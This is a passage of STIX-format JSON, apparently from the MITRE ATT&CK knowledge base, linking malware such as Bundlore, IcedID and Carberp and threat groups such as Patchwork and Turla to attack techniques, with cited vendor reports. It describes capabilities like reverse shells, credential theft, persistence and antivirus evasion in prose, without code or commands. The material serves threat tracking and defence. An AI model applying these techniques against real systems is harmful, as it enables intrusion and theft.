            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "external_references": [
                {
                    "source_name": "Umbreon Trend Micro",
                    "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"
                }
            ],
            "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet.(Citation: Umbreon Trend Micro)",
            "relationship_type": "uses",
            "id": "relationship--85af8200-2e4c-4253-a334-0390ac4065f8",
            "type": "relationship",
            "modified": "2020-07-01T18:32:47.416Z",
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        {
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            "source_ref": "malware--8787e86d-8475-4f13-acea-d33eb83b6105",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
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                {
                    "source_name": "Chronicle Winnti for Linux May 2019",
                    "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a",
                    "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020."
                }
            ],
            "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) has used a passive listener, capable of identifying a specific magic value before executing tasking, as a secondary command and control (C2) mechanism.(Citation: Chronicle Winnti for Linux May 2019)",
            "relationship_type": "uses",
            "id": "relationship--76625152-3f62-4a1e-a769-5503811b0276",
            "type": "relationship",
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        {
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            "object_marking_refs": [
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            "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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                {
                    "source_name": "MacKeeper Bundlore Apr 2019",
                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has disguised a malicious .app file as a Flash Player update.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--10c609ce-f256-436c-8288-3441cb123fc5",
            "type": "relationship",
            "modified": "2020-07-01T21:30:17.251Z",
            "created": "2020-07-01T20:27:58.395Z"
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
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                    "source_name": "MacKeeper Bundlore Apr 2019",
                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has attempted to get users to execute a malicious .app file that looks like a Flash Player update.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--a77d7668-db79-46b0-960a-cfa39db781fa",
            "type": "relationship",
            "modified": "2020-07-01T21:30:17.328Z",
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        },
        {
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            ],
            "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "external_references": [
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                    "source_name": "MacKeeper Bundlore Apr 2019",
                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has been spread through malicious advertisements on websites.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) prompts the user for their credentials.(Citation: MacKeeper Bundlore Apr 2019)",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can download and execute new versions of itself.(Citation: MacKeeper Bundlore Apr 2019)",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can change macOS security settings and browser preferences to enable follow-on behaviors.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--fe8efec3-2ab4-497d-8e5a-b2340feddd8f",
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                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has used the <code>ps</code> command to list processes.(Citation: MacKeeper Bundlore Apr 2019)",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
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                }
            ],
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            "relationship_type": "uses",
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                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can execute JavaScript by injecting it into the victim's browser.(Citation: MacKeeper Bundlore Apr 2019)",
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                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has obfuscated data with base64, AES, RC4, and bz2.(Citation: MacKeeper Bundlore Apr 2019)",
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            "id": "relationship--885c54e7-6b1c-4399-a051-1e0b047d6f92",
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                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can persist via a LaunchAgent.(Citation: MacKeeper Bundlore Apr 2019)",
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                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can use AppleScript to inject malicious JavaScript into a browser.(Citation: MacKeeper Bundlore Apr 2019)",
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            "id": "relationship--cb53d2b5-6606-4597-b5e9-d9c114e2607e",
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                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) can persist via a LaunchDaemon.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) creates a new key pair with <code>ssh-keygen</code> and drops the newly created user key in <code>authorized_keys</code> to enable remote login.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has used Python scripts to execute payloads.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--677878af-62d4-4407-bbe6-551b7906a366",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) uses HTTP requests for C2.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) will enumerate the macOS version to determine which follow-on behaviors to execute.(Citation: MacKeeper Bundlore Apr 2019)",
            "relationship_type": "uses",
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            "type": "relationship",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has the ability to enumerate what browser is being used as well as version information for Safari.(Citation: MacKeeper Bundlore Apr 2019)",
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            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
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                {
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "source_name": "Symantec Patchwork"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                },
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to try to get users to click, download and open malicious files.(Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
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            "modified": "2020-07-03T22:15:24.515Z",
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                {
                    "source_name": "SecureWorks Mia Ash July 2017",
                    "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.",
                    "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash"
                },
                {
                    "source_name": "Microsoft Phosphorus Mar 2019",
                    "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/",
                    "description": "Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020."
                }
            ],
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) used various social media channels to spearphish victims.(Citation: SecureWorks Mia Ash July 2017)(Citation: Microsoft Phosphorus Mar 2019)",
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                    "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/",
                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."
                }
            ],
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            "relationship_type": "uses",
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
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                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has obtained information on security software, including security logging information that may indicate whether their malware has been detected.(Citation: ESET ComRAT May 2020)",
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                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used <code>ZwQueueApcThread</code> to inject itself into remote processes.(Citation: IBM IcedID November 2017)",
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                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has established persistence by creating a Registry run key.(Citation: IBM IcedID November 2017)",
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                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                },
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used SSL and TLS in communications with C2.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)",
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                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                },
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has the ability to download additional modules and a configuration file from C2.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)",
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                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) can query LDAP to identify additional users on the network to infect.(Citation: IBM IcedID November 2017)",
            "relationship_type": "uses",
            "id": "relationship--94229aa6-c862-48b8-9959-1e1d3c04dd5e",
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            "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "external_references": [
                {
                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                },
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used web injection attacks to redirect victims to spoofed sites designed to harvest banking and other credentials.  [IcedID](https://attack.mitre.org/software/S0483) can use a self signed TLS certificate in connection with the spoofed site and simultaneously maintains a live connection with the legitimate site to display the correct URL and certificates in the browser.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
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            "external_references": [
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                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has the ability to identify Workgroup membership.(Citation: IBM IcedID November 2017)",
            "relationship_type": "uses",
            "id": "relationship--34a06e23-b81c-45c7-96bc-7e08d31a4a44",
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        },
        {
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            "external_references": [
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                    "source_name": "IBM IcedID November 2017",
                    "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
                    "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has the ability to identify the computer name and OS version on a compromised host.(Citation: IBM IcedID November 2017)",
            "relationship_type": "uses",
            "id": "relationship--f36f0a5d-a2a6-440f-8d6f-3fbdafb07af0",
            "type": "relationship",
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            "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has used WMI to execute binaries.(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has been executed through Word documents with malicious embedded macros.(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
            "id": "relationship--7b078d28-1724-474c-8668-a6d5c28ed72b",
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        {
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            "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has utilzed encrypted binaries and base64 encoded strings.(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
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        {
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            "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "Juniper IcedID June 2020",
                    "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware",
                    "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."
                }
            ],
            "description": "[IcedID](https://attack.mitre.org/software/S0483) has been delivered via phishing e-mails with malicious attachments.(Citation: Juniper IcedID June 2020)",
            "relationship_type": "uses",
            "id": "relationship--b7d44225-31cf-4766-b585-debf0ed8d965",
            "type": "relationship",
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        },
        {
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            ],
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "target_ref": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
            "external_references": [
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."
                }
            ],
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032)\toperators have used dynamic DNS to mask the true location of their C2 behind rapidly changing IP addresses.(Citation: Gh0stRAT ATT March 2019)",
            "relationship_type": "uses",
            "id": "relationship--b2876820-3402-45e3-a0af-f85237a23ae6",
            "type": "relationship",
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                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
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                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484)'s passw.plug plugin can gather passwords saved in Opera, Internet Explorer, Safari, Firefox, and Chrome.(Citation: Prevx Carberp March 2011)",
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            "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
            "external_references": [
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                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484)'s passw.plug plugin can gather account information from multiple instant messaging, email, and social media services, as well as FTP, VNC, and VPN clients.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--0d8d668e-ce2f-4ef8-8dd4-8c9cd17f2b23",
            "type": "relationship",
            "modified": "2020-07-29T21:36:24.368Z",
            "created": "2020-07-15T20:23:36.388Z"
        },
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            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has searched the Image File Execution Options registry key for \"Debugger\" within every subkey.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--8de816a1-c89b-47ea-9456-c3bc139e6885",
            "type": "relationship",
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                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has queried the infected system's registry searching for specific registry keys associated with antivirus products.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
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            "type": "relationship",
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            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) can start a remote VNC session by downloading a new plugin.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has collected the operating system version from the infected system.(Citation: Prevx Carberp March 2011)",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has used XOR-based encryption to mask C2 server locations within the trojan.(Citation: Prevx Carberp March 2011)",
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            "id": "relationship--c808ac7c-6da1-4be8-9233-0020fbc3e8ac",
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                    "source_name": "Trusteer Carberp October 2010",
                    "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf",
                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has used the NtQueryDirectoryFile and ZwQueryDirectoryFile functions to hide files and directories.(Citation: Trusteer Carberp October 2010)",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                },
                {
                    "source_name": "Trusteer Carberp October 2010",
                    "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf",
                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has captured credentials when a user performs login through a SSL session.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)",
            "relationship_type": "uses",
            "id": "relationship--4c7a0e49-6b38-417a-881b-6f9474ea4ec2",
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            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) can capture display screenshots with the screens_dll.dll plugin.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--e1a70685-4492-4866-a10b-7630be265c86",
            "type": "relationship",
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            "created": "2020-07-15T20:23:36.544Z"
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
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                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                },
                {
                    "source_name": "Trusteer Carberp October 2010",
                    "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf",
                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) can download and execute new plugins from the C2 server. (Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)",
            "relationship_type": "uses",
            "id": "relationship--320966af-53db-41e3-aaf0-f5fd68bce8ca",
            "type": "relationship",
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            "created": "2020-07-15T20:23:36.541Z"
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            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
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                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has used user mode rootkit techniques to remain hidden on the system.(Citation: Prevx Carberp March 2011)",
            "relationship_type": "uses",
            "id": "relationship--21b929b8-8fec-47a5-8f98-554a043f9de5",
            "type": "relationship",
            "modified": "2020-07-29T21:36:24.467Z",
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            ],
            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
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                    "source_name": "Prevx Carberp March 2011",
                    "url": "http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf",
                    "description": "Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved July 15, 2020."
                },
                {
                    "source_name": "Trusteer Carberp October 2010",
                    "url": "https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf",
                    "description": "Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020."
                }
            ],
            "description": "[Carberp](https://attack.mitre.org/software/S0484) has masqueraded as Windows system file names, as well as \"chkntfs.exe\" and \"syscron.exe\".(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)",
            "relationship_type": "uses",
            "id": "relationship--201502c6-d208-408b-b6f3-50e39dab14ca",
            "type": "relationship",
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        },
        {
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            "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "external_references": [
                {
                    "source_name": "ESET Carberp March 2012",
